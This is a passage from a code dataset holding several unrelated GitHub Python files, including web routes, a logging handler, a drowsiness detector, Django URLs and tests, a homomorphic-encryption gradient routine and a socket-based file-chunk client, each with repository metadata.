method='POST')\n@auth_basic(check_pass)\ndef createEntry():\n k = getKonto()\n\n entry = request.json.get('entry')\n if entry[\"amount\"] is None or entry[\"amount\"] == \"\":\n entry[\"amount\"] = 0\n else:\n entry[\"amount\"] = float(entry[\"amount\"])\n if entry[\"date\"] is not None:\n entry['date'] = datetime.datetime.strptime(entry['date'], \"%Y-%m-%d\").strftime(\"%d.%m.%Y\")\n if \"currency\" not in entry:\n entry[\"currency\"] = \"\"\n \n theid = k.createTransactionEntry(entry=entry)\n return json.dumps({'eid': theid})\n\n\n@app.route('/categories/createEntry', method='POST')\n@auth_basic(check_pass)\ndef createCategoryEntry():\n k = getKonto()\n entry = request.json.get('entry')\n theid = k.createCategoryEntry(entry=entry)\n return json.dumps({'eid': theid})\n\n\n@app.route('/editCategories', method='GET')\n@auth_basic(check_pass)\ndef editCategories(thefilename='categories'):\n k = getKonto()\n\n toDate = datetime.datetime.today()\n fromDate = toDate - dateutil.relativedelta.relativedelta(months=6)\n toDateStr = toDate.strftime('%Y-%m-%d');\n fromDateStr = fromDate.strftime('%Y-%m-%d');\n\n categories = k.parseCategories()\n categoriesNames = k.getCategoriesNames()\n return template('editCategories.tpl', categories=categories, fromDate=fromDateStr, toDate=toDateStr, categoriesNames=categoriesNames)\n\n\n@app.route('/categories/updateEntry/', method='POST')\n@auth_basic(check_pass)\ndef categoriesUpdateEntry(theid):\n k = getKonto()\n entry = {}\n theentry = request.json.get('entry')\n if \"category\" in theentry:\n entry[\"category\"] = theentry[\"category\"]\n if \"field\" in theentry:\n entry[\"field\"] = theentry[\"field\"]\n if \"pattern\" in theentry:\n entry[\"pattern\"] = theentry[\"pattern\"]\n if \"expectedValue\" in theentry:\n entry[\"expectedValue\"] = theentry[\"expectedValue\"]\n if \"priority\" in theentry:\n entry[\"priority\"] = theentry[\"priority\"]\n k.updateEntry(tableName=\"categories\", theid=theid, entry=entry)\n\n\n@app.route('/transactions/updateEntry/', method=\"POST\")\n@auth_basic(check_pass)\ndef transactionsUpdateEntry(theid):\n k = getKonto()\n entry = {}\n theentry = request.json.get('entry')\n if \"date\" in theentry:\n thedate = theentry[\"date\"]\n entry[\"timestamp\"] = calendar.timegm(datetime.datetime.strptime(thedate, '%Y-%m-%d').utctimetuple())\n if \"account\" in theentry:\n entry[\"account\"] = theentry[\"account\"]\n if \"name\" in theentry:\n entry[\"name\"] = theentry[\"name\"]\n if \"description\" in theentry:\n entry[\"description\"] = theentry[\"description\"]\n if \"category\" in theentry:\n entry[\"category\"] = theentry[\"category\"]\n if \"note\" in theentry:\n entry[\"note\"] = theentry[\"note\"]\n k.updateEntry(tableName=\"transactions\", theid=theid, entry=entry)\n\n\n@app.route('/categories/deleteEntry/', method=\"GET\")\n@auth_basic(check_pass)\ndef categoriesDeleteEntry(theid):\n k = getKonto()\n k.deleteItem(tableName=\"categories\", theid=theid)\n\n\n@app.route('/transactions/deleteEntry/', method=\"GET\")\n@auth_basic(check_pass)\ndef transactionsDeleteEntry(theid):\n k = getKonto()\n k.deleteItem(tableName=\"transactions\", theid=theid)\n\n\nif __name__ == \"__main__\":\n if os.path.isfile('/etc/konto.config'):\n with open('/etc/konto.config', 'r') as thefile:\n configdata = json.load(thefile)\n\n if len(sys.argv) > 1 and sys.argv[1] == 'dev':\n print('using dev engine')\n run(app, host='0.0.0.0', port=8080)\n else:\n print('using bjoern engine')\n run(app, server='bjoern', host='0.0.0.0', port=8080)\n\n","repo_name":"mtill/konto","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":18862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"72705465067","text":"import os\nimport logging\nfrom logging.handlers import QueueHandler, QueueListener\nfrom queue import Queue\nimport subprocess\nimport configparser\nimport ast\nimport time\nimport influxdb\n\n\nclass InfluxdbMonitorFilter(logging.Filter):\n def __init__(self):\n super().__init__()\n\n def filter(self, record):\n if isinstance(record.msg, dict):\n return super().filter(record)\n else:\n return False\n\n\nclass InfluxdbMonitorFormatter(logging.Formatter):\n def __init__(self):\n super().__init__()\n is_gpu = False\n res = subprocess.run(\n [\"nvidia-smi -L\"], shell=True, encoding=\"utf-8\", stdout=subprocess.PIPE\n )\n if res.returncode == 0 and res.stdout != \"\":\n is_gpu = True\n res = subprocess.run(\n [\"hostname\"], shell=True, encoding=\"utf-8\", stdout=subprocess.PIPE\n )\n hostname = res.stdout.strip()\n self._json_body = {\n \"measurement\": \"gpu_ip_info\" if is_gpu else \"cpu_ip_info\",\n \"tags\": {\n \"ip_port\": hostname,\n \"type\": \"gpu\" if is_gpu else \"cpu\",\n },\n }\n\n def format(self, record):\n # Transfer str message to dict\n msg_dict = ast.literal_eval(record.getMessage())\n self._json_body[\"fields\"] = msg_dict\n return self._json_body\n\n\nclass InfluxdbMonitorHandlerInner(logging.Handler):\n def __init__(self, ip, port, database):\n super().__init__()\n self._ip = ip\n self._port = port\n self._database = database\n self._client = self._create_influxdb_client()\n\n def _create_influxdb_client(self):\n return influxdb.InfluxDBClient(\n host=self._ip,\n port=self._port,\n database=self._database,\n timeout=1,\n )\n\n def emit(self, record):\n for _ in range(2):\n try:\n msg = self.format(record)\n self._client.write_points([msg])\n break\n except Exception: # pylint: disable=broad-except\n # recreate influxdb client and try again\n self._client.close()\n self._client = self._create_influxdb_client()\n\n\nclass InfluxdbMonitorHandler(logging.Handler):\n def __init__(self, ip, port=None, database=None):\n super().__init__()\n self._config = self._get_config()\n self._queue = Queue(self._config.getint(\"queue_size\"))\n self._queue_handler = QueueHandler(self._queue)\n if port is None:\n port = self._config.get(\"port\")\n if database is None:\n database = self._config.get(\"database\")\n self._handler = InfluxdbMonitorHandlerInner(ip, port, database)\n\n # Influxdb Formatter\n formatter = InfluxdbMonitorFormatter()\n self._handler.setFormatter(formatter)\n\n # Accept dict type log only. QueueHandler will format record message\n # to str, so add InfluxdbMonitorFilter to queue handler, not dict not enqueue\n filter = InfluxdbMonitorFilter()\n self._queue_handler.addFilter(filter)\n\n self._queue_listener = QueueListener(self._queue, self._handler)\n self._queue_listener.start()\n\n def _get_config(self):\n config = configparser.ConfigParser()\n file_path = os.path.dirname(os.path.realpath(__file__))\n config.read(os.path.join(file_path, \"loglib.conf\"))\n return config[\"influxdb_handler\"]\n\n def emit(self, record):\n self._queue_handler.handle(record)\n\n\nif __name__ == \"__main__\":\n logger = logging.get_logger(\"handler\")\n logger.setLevel(logging.DEBUG)\n\n handler = InfluxdbMonitorHandler(\"localhost\")\n handler.setLevel(logging.INFO)\n logger.addHandler(handler)\n logger.addHandler(logging.FileHandler(\"file.log\"))\n logger.debug(\"hello world\")\n logger.info(\"hello world\")\n data = {\"A\": 1, \"B\": 2}\n for _ in range(5):\n logger.debug(data)\n logger.info(data)\n time.sleep(1)\n","repo_name":"tencent-ailab/hok_env","sub_path":"rl_framework/monitor/rl_framework/monitor/loglib/influxdb_handler.py","file_name":"influxdb_handler.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","stars":498,"dataset":"github-code","pt":"37"} +{"seq_id":"30645048482","text":"import cv2\nfrom face_mesh import FaceMeshDetector\nimport geocoder\nimport requests\nimport time\nfrom drowsiness_alerter import DrowsinessAlerter\n\nclass VideoCamera(object):\n def __init__(self):\n self.face_mesh_detector = FaceMeshDetector()\n self.drowsiness_alerter = DrowsinessAlerter()\n\n # Find the first available working webcam\n camera_feed_val = 0\n while camera_feed_val < 5:\n self.video = cv2.VideoCapture(camera_feed_val)\n try:\n ret, frame = self.video.read()\n ret, jpeg = cv2.imencode(\".jpg\", frame)\n break\n except:\n camera_feed_val += 1\n if camera_feed_val >= 5:\n raise Exception(\"No functioning video camera.\")\n \n def __del__(self):\n self.video.release()\n\n\n def get_latitude_longitude(self):\n # use geocoder to get coordinates based on this ip address\n g = geocoder.ip('me')\n coords = g.latlng\n if coords is None:\n coords = (0, 0)\n return coords[0], coords[1]\n\n def report_drowsy(self):\n # send a POST request to the backend\n # parameters: latitude, longitude, time\n url = 'http://127.0.0.1:5001/incidents/report'\n latitude, longitude = self.get_latitude_longitude()\n now = time.strftime('%Y-%m-%d %H:%M:%S')\n headers = {'content-type': 'application/json'}\n body = '{\"latitude\":\"' + str(latitude) + '\" ,\"longitude\":\"' + str(longitude) + '\", \"time\": \"' + str(now) + '\"}'\n\n req = requests.post(url, headers=headers, data=body)\n\n def get_frame(self):\n ret, frame = self.video.read()\n frame, is_drowsy = self.face_mesh_detector.detect_mesh(frame)\n alert_sent = self.drowsiness_alerter.should_alert(is_drowsy)\n if alert_sent:\n self.report_drowsy()\n ret, jpeg = cv2.imencode(\".jpg\", frame)\n return jpeg.tobytes()\n\n\n ","repo_name":"edgardesnos/Codejam12-StayAwake","sub_path":"app/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"} +{"seq_id":"24095834699","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.VypisZvirataView.as_view(), name=\"index\"),\n path(\"nove_zvire\", views.NoveZvire3View.as_view(), name=\"nove_zvire\"),\n path(\"dekuji\", views.DekujiView.as_view(), name=\"dekuji\"),\n path(\"\", views.InfoOZvireti.as_view(), name=\"zvire_info\")\n]\n\n# path converter - int, str, slug, uuid, path","repo_name":"trohat/Django-projekt-zvirata","sub_path":"informace/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"14818611028","text":"#!/bin/bash python3 \n#-*- coding:utf-8 -*-\n\nimport time\n\nclass Solution():\n def MoreThanHalfNum_Solution1(self, nums):\n \"\"\"\n 排序法,直接输出索引为length//2的元素\n 没有考虑:不存在超过一半的数字\n \"\"\"\n if nums == []:\n return 0\n \n nums.sort()\n return nums[len(nums) // 2]\n \n def MoreThanHalfNum_Solution2(self, nums):\n \"\"\"\n 排序法\n 实际检测了是否存在长度超过一半的数字\n \"\"\"\n if nums == []:\n return 0\n\n nums.sort()\n length = len(nums)\n first = 0\n end = first + length // 2\n\n while end < length:\n if nums[first] == nums[end]:\n return nums[first]\n first += 1\n end += 1\n \n return 0\n\n def MoreThanHalfNum_Solution3(self, nums):\n \"\"\"\n dict法\n \"\"\"\n if nums == []:\n return 0\n \n dic = dict()\n for i in nums:\n if dic.get(i) == None:\n dic[i] = 1\n elif dic[i] == len(nums) // 2:\n return i\n else:\n dic[i] += 1\n \n return 0\n\n def MoreThanHalfNum_Solution(self, nums):\n \"\"\"\n 高效方法\n 多数投票法,复杂度是O(n)\n \"\"\"\n if nums == []:\n return 0\n \n curr_val = 0\n curr_cnt = 0\n\n for i in nums:\n if curr_cnt == 0:\n curr_cnt = 1\n curr_val= i\n else:\n curr_cnt += 1 if curr_val == i else -1\n \n # 此时有可能不存在大于一半的数字\n if curr_cnt == 0:\n return 0\n \n return curr_val\n \n def test(self, nums):\n \"\"\"\n 测试函数\n \"\"\"\n func_vec = [self.MoreThanHalfNum_Solution1,\n self.MoreThanHalfNum_Solution2,\n self.MoreThanHalfNum_Solution3,\n self.MoreThanHalfNum_Solution]\n for func in func_vec:\n tmp_nums = nums[:]\n start = time.time()\n result = func(tmp_nums)\n end = time.time()\n print(\"result: {}, time(us): {:>5.2f}\".format(result, (end - start)*10**6))\n\n\ndef main():\n nums = [1, 2, 3, 2, 2, 2, 5, 4, 2]\n s = Solution()\n s.test(nums)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"xiaoli1368/sword_offer","sub_path":"sword_offer/python/28_数组中出现超过一半的数字.py","file_name":"28_数组中出现超过一半的数字.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"38461975978","text":"from trello import TrelloClient\nimport logging\nimport trellokeys as keys\n\nlog = logging.getLogger('')\n\nclass TrelloTasks():\n def __init__(self):\n client = TrelloClient(keys.api_key,token=keys.oauth_token)\n #get all the boards\n self.boards = client.list_boards()\n\n #fetch all cards in a list\n def get_cards(self, board_name, list_name):\n log.info(\"fetching list %s from board %s\" % (list_name, board_name))\n board = filter(lambda x: x.name == board_name, self.boards)[0]\n list = filter(lambda x: x.name == list_name, board.all_lists())[0]\n cards = list.list_cards()\n\n markdown = \"# %s / %s\\n\\n\" % (board_name.capitalize(), list_name.capitalize())\n\n for card in cards:\n markdown += \"* %s\\n\" % card.name\n\n markdown += \"\\n\"\n return markdown\n\nif __name__ == '__main__':\n tt = TrelloTasks()\n print(tt.get_cards('tasks', 'Doing'))\n print(tt.get_cards('valencia','matt'))\n","repo_name":"mattvenn/kindlefeed","sub_path":"trello_tasks.py","file_name":"trello_tasks.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"11613072459","text":"#!/usr/bin/python3\nimport Parser\nimport ParserClasses\nimport traceback\n\ndef loadFile(name):\n with open(name+'.plan','r') as f:\n body = f.read()\n with open(name+'.res','r') as f:\n tests = f.readlines()\n insOuts = map(lambda x: x.split('=>'),tests)\n try:\n code,rem = Parser.parseFunction(body)\n except Parser.ParseError as e:\n print(\"Issue: Code did not parse. This is the error:\\n {}\".format(e))\n return\n if(rem.strip() != \"\"):\n print(\"Issue: Code not eaten this left:\\n {}\".format(rem.strip()))\n for valIn,valOut in insOuts:\n try:\n mem,testVal = code(ParserClasses.Memory(),*eval(valIn))\n except ParserClasses.ExecutionError as e:\n print(\"Issue: Code failed in execution with error: \\n{}\".format(e))\n continue\n print(mem)\n valOut = eval(valOut)\n if(testVal!=valOut):\n print(\"Issue: {} != {}\".format(testVal,valOut))\n else:\n print(\"Good: {} == {}\".format(testVal,valOut))\n\nif __name__== \"__main__\":\n directory = \"../Tests/\"\n files = ['01','02']\n for fname in files:\n loadFile(directory+fname)\n","repo_name":"Hovestar/Plankalkul","sub_path":"src/tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"} +{"seq_id":"6850325242","text":"from unittest import TestCase\n\nfrom django.urls import reverse\n\nfrom users.models import User\n\nuser_increment = 0\n\n\nclass UserTestMixin(TestCase):\n \"\"\"\n Mixin class adding easy user-related functions for testing\n \"\"\"\n class UserUrls:\n @staticmethod\n def user_url(user_pk=None):\n \"\"\"\n Users (/users/id?)\n :param user_pk: Id of user (optional)\n :return: url\n \"\"\"\n if user_pk:\n return reverse('users:user_detail', kwargs={'pk': user_pk})\n return reverse('users:user_list')\n\n @staticmethod\n def auth_knox_login_url():\n \"\"\"\n Auth token (/auth/login/)\n :return: url\n \"\"\"\n return reverse('auth:knox_login')\n\n @staticmethod\n def auth_knox_verify_url():\n \"\"\"\n Users (/auth/verify)\n :return: url\n \"\"\"\n return reverse('auth:knox_verify')\n\n @staticmethod\n def auth_knox_logout_url():\n \"\"\"\n Users (/auth/refresh)\n :return: url\n \"\"\"\n return reverse('auth:knox_logout')\n\n @classmethod\n def setUpClass(cls):\n fixtures = ['test_user_data']\n cls.fixtures = fixtures + cls.fixtures if cls.fixtures else fixtures\n super().setUpClass()\n\n @classmethod\n def default_user_data(cls):\n global user_increment\n user_increment += 1\n name = 'user%s' % user_increment\n return {\n 'username': name,\n 'password': 'testpass123',\n 'email': name + '@oanax.com',\n }\n\n @classmethod\n def create_user(cls, active=True, **user_data):\n user_data = {**cls.default_user_data(), **user_data}\n return User.objects.create_user(\n **user_data,\n is_active=active\n )\n","repo_name":"GPXenergy/gpx_server_api","sub_path":"users/tests/mixin.py","file_name":"mixin.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"12715848780","text":"import tensorflow as tf\n\n\n# noinspection PyAbstractClass,PyTypeChecker\nclass ResnetIdentityBlock(tf.keras.Model):\n # noinspection PyTypeChecker\n def __init__(self, kernel_size, filters) -> object:\n super(ResnetIdentityBlock, self).__init__(name='')\n filters1, filters2, filters3 = filters\n\n self.conv2a = tf.keras.layers.Conv2D(filters1, (1, 1), name=\"conv2a\")\n self.bn2a = tf.keras.layers.BatchNormalization(name=\"bn2a\")\n\n self.conv2b = tf.keras.layers.Conv2D(filters2, kernel_size, padding='same', name=\"conv2b\")\n self.bn2b = tf.keras.layers.BatchNormalization(name=\"bn2b\")\n\n self.conv2c = tf.keras.layers.Conv2D(filters3, (1, 1), name=\"conv2c\")\n self.bn2c = tf.keras.layers.BatchNormalization(name=\"bn2c\")\n\n def call(self, input_tensor, training=False):\n x = self.conv2a(input_tensor)\n x = self.bn2a(x, training=training)\n x = tf.nn.relu(x)\n\n x = self.conv2b(x)\n x = self.bn2b(x, training=training)\n x = tf.nn.relu(x)\n\n x = self.conv2c(x)\n x = self.bn2c(x, training=training)\n\n x += input_tensor\n return tf.nn.relu(x)\n","repo_name":"NiklasHoltmeyer/FashionNets","sub_path":"fashionnets/models/layer/ResNetIdentityBlock.py","file_name":"ResNetIdentityBlock.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27414600675","text":"from seal import *\nfrom seal_helper import *\nfrom PolynomialApproximation import PolynomialEvaluation_Horner\nimport time\ndef gradientDescent(func_evaluator, ciphers_y, cipher_h):\n '''\n cipher_h: Ciphertext of current predicted probability of default (param of the logistic model)\n cipher_y: data\n '''\n coeffs = [] # To store coefficients of polynomial\n\n # To compute some ciphertexts that can be reused\n plain_number_1 = Plaintext()\n plain_number_5 = Plaintext()\n plain_number_minus_5 = Plaintext()\n\n func_evaluator.ckks_encoder.encode(1.0, func_evaluator.scale, plain_number_1)\n func_evaluator.ckks_encoder.encode(5.0, func_evaluator.scale, plain_number_5)\n func_evaluator.ckks_encoder.encode(-5.0, func_evaluator.scale, plain_number_minus_5)\n\n cipher_number_1 = Ciphertext()\n cipher_number_5 = Ciphertext()\n cipher_number_minus_5 = Ciphertext()\n func_evaluator.encryptor.encrypt(plain_number_1, cipher_number_1)\n func_evaluator.encryptor.encrypt(plain_number_5, cipher_number_5)\n func_evaluator.encryptor.encrypt(plain_number_minus_5, cipher_number_minus_5)\n\n start = time.time()\n # coeff_0 = 1 - 5y\n cipher_0 = Ciphertext()\n func_evaluator.evaluator.multiply(cipher_number_minus_5, cipher_y, cipher_0) # -5 * y\n func_evaluator.evaluator.relinearize_inplace(cipher_0, func_evaluator.relin_keys)\n func_evaluator.evaluator.rescale_to_next_inplace(cipher_0)\n\n\n cipher_0.scale(func_evaluator.scale)\n cipher_number_1.scale(func_evaluator.scale)\n func_evaluator.evaluator.mod_switch_to_inplace(cipher_number_1, cipher_0.parms_id())\n func_evaluator.evaluator.add_inplace(cipher_0, cipher_number_1) # +1\n\n coeffs.append(cipher_0)\n\n # coeff_1 = 1 + 5y\n cipher_1 = Ciphertext()\n func_evaluator.evaluator.multiply(cipher_number_5, cipher_y, cipher_1) # +5 * y\n func_evaluator.evaluator.relinearize_inplace(cipher_1, func_evaluator.relin_keys)\n func_evaluator.evaluator.rescale_to_next_inplace(cipher_1)\n\n cipher_1.scale(func_evaluator.scale)\n cipher_number_1.scale(func_evaluator.scale)\n func_evaluator.evaluator.mod_switch_to_inplace(cipher_number_1, cipher_0.parms_id())\n func_evaluator.evaluator.add_inplace(cipher_1, cipher_number_1) # +1\n coeffs.append(cipher_1)\n\n # coeff_2 = 1 - 5y\n coeffs.append(cipher_0) # Since coeff_2 is always equal to coeff_0 in this case\n\n # coeff_3 = 1\n cipher_3 = cipher_number_1\n coeffs.append(cipher_3)\n\n end = time.time()\n print(end - start)\n return func_evaluator.horner(cipher_h, coeffs)\n\n\ndef gradientAscent(y, h, learning_rate=0.01, iterations=100):\n func_evaluator = PolynomialEvaluation_Horner()\n\ndef gradientDescent_test():\n func_evaluator = PolynomialEvaluation_Horner()\n func_evaluator.setup(degree=3)\n\n y = [1.0, 2.0, 3.0]\n ciphers_y = []\n for i in range(len(y)):\n plain_y = Plaintext()\n func_evaluator.ckks_encoder.encode(y[i], func_evaluator.scale, plain_y)\n cipher_y = Ciphertext()\n func_evaluator.encryptor.encrypt(plain_y, cipher_y)\n ciphers_y.append(cipher_y)\n\n\n h = 0.5 # Assume the current probability is 0.5\n plain_h = Plaintext()\n func_evaluator.ckks_encoder.encode(h, func_evaluator.scale, plain_h)\n cipher_h = Ciphertext()\n func_evaluator.encryptor.encrypt(plain_h, cipher_h)\n\n # Gradient Descent\n cipher_result = gradientDescent(func_evaluator, ciphers_y, cipher_h)\n\n plain_result = Plaintext()\n result = DoubleVector()\n func_evaluator.decryptor.decrypt(cipher_result, plain_result)\n func_evaluator.ckks_encoder.decode(plain_result, result)\n\n\n expected_result = h**3 + (1-5*y)*h**2 + (1+5*y)*h + (1-5*y)\n print(\"Actual : \" + str(result[0]))\n print(\"Expected : \" + str(expected_result))\n print(\"diff: \" + str(abs(result[0] - expected_result)))\n\nif __name__ == \"__main__\":\n gradientDescent_test()","repo_name":"Hither1/FHE-FL","sub_path":"HEMat/gradient.py","file_name":"gradient.py","file_ext":"py","file_size_in_byte":3889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"16578998070","text":"import sys\nimport os\nimport socket\nimport hashlib\nimport threading\nimport time\n\nfrom socket import *\n\nserverIP = \"192.168.58.230\"\nclientIP = \"192.168.58.230\"\t\nserverUDPport= 20001\n\nclient_size = 5\n\nUDPPorts=[]\nUPorts=[]\nTCPPorts=[]\n\nbt=21002\nbu=64530\nb=63530\n\nfor i in range(client_size):\n\tTCPPorts.append(bt)\n\tUDPPorts.append(bu)\n\tUPorts.append(b)\n\tb+=1\n\tbt+=1\n\tbu+=1\n\n\ndef checkKey(dic, key):\n if key in dic.keys():\n return True\n return False\n \nlock = threading.Lock()\nclient_dict=[]\nthreadsp = []\n\nfor i in range(client_size):\n\tclient_dict.append({})\n\t\ndef perform(clientid,UDPSocket1,UDPSocket2,TCPSocket):\n\twhile(True):\n\t\tmsgFrom = UDPSocket1.recvfrom(1024)\n\t\tm = msgFrom[0].decode()\n\t\tif(m[0:4]==\"Send\" and checkKey(client_dict[clientid-1],int(m[12:len(m)]))):\n\t\t\tp=int(m[12:len(m)])\n\t\t\tmsgClient = \"Transfering\"\n\t\t\tbytes=str.encode(msgClient)\n\t\t\tUDPSocket1.sendto(bytes,(serverIP,serverUDPport))\n\t\t\tmsg=str(p)+\" : \"+client_dict[clientid-1][p]\n\t\t\tms=str.encode(msg)\n\t\t\tTCPSocket.send(ms)\n\t\t\tmsgFrom = UDPSocket2.recvfrom(1024)\n\t\t\tm = msgFrom[0].decode()\n\t\t\tif(m==\"recieved\"):\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tprint(\"Oops Failed\")\t\t\n\t\t\t\n\nclass Client:\n\tdef __inti__(self,id):\n\t\tself.id=id\n\tdef start(client):\n\t\tUDPClientSocket = socket(family=AF_INET, type=SOCK_DGRAM)\n\t\tUDPClientSocket.bind((clientIP,UDPPorts[client.id-1]))\n\t\tUDPCSocket = socket(family=AF_INET, type=SOCK_DGRAM)\n\t\tUDPCSocket.bind((clientIP,UPorts[client.id-1]))\n\t\tTCPServerSocket = socket(family=AF_INET, type=SOCK_STREAM)\n\t\tTCPServerSocket.bind((serverIP,TCPPorts[client.id-1]))\n\t\tTCPServerSocket.listen(1)\n\t\tmsgFromClient=\"listening\"\n\t\tbytesToSend = str.encode(msgFromClient)\n\t\tUDPClientSocket.sendto(bytesToSend, (serverIP,serverUDPport))\n\t\tconnectionSocket , addr = TCPServerSocket.accept()\n\t\tmsgFrom = UDPClientSocket.recvfrom(1024)\n\t\td=int(msgFrom[0].decode())\n\t\tmsgFrom = UDPClientSocket.recvfrom(1024)\n\t\tt=int(msgFrom[0].decode())\n\t\tfor i in range(t):\n\t\t\tmessage = connectionSocket.recv(2048)\n\t\t\tmsg=message.decode()\n\t\t\tfor i in range(len(msg)):\n\t\t\t\tif(msg[i]==':'):\n\t\t\t\t\tp=int(msg[0:i-1])\n\t\t\t\t\tclient_dict[client.id-1][p]=msg[i+2:len(msg)]\n\t\t\t\t\tbreak\n\t\t\tUDPClientSocket.sendto(str.encode(\"recieved\"), (serverIP,serverUDPport))\n\t\tmsgFrom = UDPClientSocket.recvfrom(1024)\n\t\tm = msgFrom[0].decode()\n\t\tif(m==\"Start\"):\n\t\t\tx=threading.Thread(target=perform,args=(client.id,UDPClientSocket,UDPCSocket,connectionSocket,))\n\t\t\tthreadsp.append(x)\n\t\t\tx.start()\n\t\t\twhile(True):\n\t\t\t\tif(len(client_dict[client.id-1])==d):\n\t\t\t\t\tprint(\"Got All\")\n\t\t\t\t\ts=\"\"\n\t\t\t\t\tfor i in range(1,d+1):\n\t\t\t\t\t\ts+=client_dict[client.id-1][i]\n\t\t\t\t\thash = hashlib.md5(s.encode()).hexdigest()\n\t\t\t\t\tprint(hash)\n\t\t\t\t\tf=open(\"out.txt\",\"a\")\n\t\t\t\t\tf.write(hash+\"\\n\")\n\t\t\t\t\tf.close()\n\t\t\t\t\tf=open(\"data-1 {}\".format(client.id),\"x\")\n\t\t\t\t\tf.write(hash+\"\\n\")\n\t\t\t\t\tf.close()\n\t\t\t\t\tbreak\n\t\t\t\tstart_time=time.time()\n\t\t\t\tfor i in range(1,d+1):\n\t\t\t\t\tif(checkKey(client_dict[c.id-1],i)==False):\n\t\t\t\t\t\tmsgFromClient = \"Send Packet {}\".format(i)\n\t\t\t\t\t\tUDPClientSocket.sendto(str.encode(msgFromClient), (serverIP,serverUDPport))\n\t\t\t\tmessage = connectionSocket.recv(2048)\n\t\t\t\tmsg = message.decode()\n\t\t\t\tfor i in range(0,len(msg)):\n\t\t\t\t\tif(msg[i]==':'):\n\t\t\t\t\t\tif(checkKey(client_dict[client.id-1],int(msg[0:i-1]))==False):\n\t\t\t\t\t\t\tclient_dict[client.id-1][int(msg[0:i-1])]=msg[i+2:len(msg)]\n\t\t\t\t\t\tbreak\n\t\t\t\tUDPClientSocket.sendto(str.encode(\"recieved\"), (serverIP,serverUDPport))\n\t\t\t\tend_time=time.time()\n\t\t\t\tprint(end_time-start_time)\n\t\t\t\t\t\t\n\t\t\t\t\t\t\ndef run(client):\n\tclient.start()\n\t\nthreads=[]\ntime.sleep(1)\n\nfor i in range(client_size):\n\tc=Client()\n\tc.id=i+1\n\tx=threading.Thread(target=run,args=(c,))\n\tthreads.append(x)\n\tx.start()\n\t\n\t\t\t\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n","repo_name":"JayaPrakashMadaka/COL334","sub_path":"A2/2020CS10356_client.py","file_name":"2020CS10356_client.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20381391080","text":"\nclass Rule:\n \"\"\" Rule consists of list of Conditions and list of Effects\n \"\"\"\n def __init__(self, features, conditions, effects):\n self.features = features\n self.conditions = conditions\n self.effects = effects\n\n def is_compatible(self, source, target):\n for condition in self.conditions:\n if not condition.is_satisfied(source):\n return False\n checked = set()\n for effect in self.effects:\n checked.add(effect.feature.index)\n if not effect.is_satisfied(source, target):\n return False\n for index in range(self.features.get_num_features()):\n if index not in checked:\n unchanged_effect = self.features.get_feature_by_index(index).make_effect(\"e_same\")\n if not unchanged_effect.is_satisfied(source, target):\n return False\n return True\n\n def __str__(self):\n return str([str(c) for c in self.conditions]) + \"->\" + str([str(e) for e in self.effects])\n\n\nclass Tokenizer():\n \"\"\" Tokenizes the rule description.\n \"\"\"\n def tokenize(self, text):\n tokens = []\n word = \"\"\n for c in text:\n if c in {\"[\", \"]\", \"(\", \")\"}:\n if word:\n tokens.append(word)\n word = \"\"\n tokens.append(c)\n elif c in {\" \", \"\\t\", \",\"}:\n pass\n else:\n word += c\n return tokens\n\n\nclass RulesParser:\n def parse(self, features, rules_description):\n tokens = Tokenizer().tokenize(rules_description)\n return [Rule(features, conditions, effects) for conditions, effects in self._parse(features, tokens)]\n\n def _parse(self, features, tokens):\n if not tokens:\n raise Exception(\"Unexpected EOF.\")\n t = tokens.pop(0)\n if t == \"[\":\n children = []\n while tokens and tokens[0] != \"]\":\n children.append(self._parse(features, tokens))\n if not tokens:\n raise Exception(\"Expected ']'.\")\n assert tokens.pop(0) == \"]\"\n return children\n elif t == \"(\":\n if not tokens:\n raise Exception(\"Expected condition of effect.\")\n feature = tokens.pop(0)\n if not tokens:\n raise Exception(\"Expected ')'\")\n assert tokens.pop(0) == \")\"\n return feature\n elif t in [\"c_pos\", \"c_neg\", \"c_gt\", \"c_eq\"]:\n return features.get_feature_by_name(self._parse(features, tokens)).make_condition(t)\n elif t in [\"e_pos\", \"e_neg\", \"e_dec\", \"e_inc\", \"e_unk\", \"e_same\"]:\n return features.get_feature_by_name(self._parse(features, tokens)).make_effect(t)\n else:\n raise Exception(f\"Unknown token {t}.\")\n","repo_name":"drexlerd/Sieve","sub_path":"src/rule.py","file_name":"rule.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8388736303","text":"import jsonschema # type: ignore\n\nparam_kind_schema = {\n \"enum\": [\"POSITIONAL_OR_KEYWORD\", \"VAR_POSITIONAL\", \"KEYWORD_ONLY\", \"VAR_KEYWORD\"]\n}\n\nref_pattern = \"^[0-9a-f\\\\-]+$\"\n\noptional_boolean = {\"enum\": [True, False, 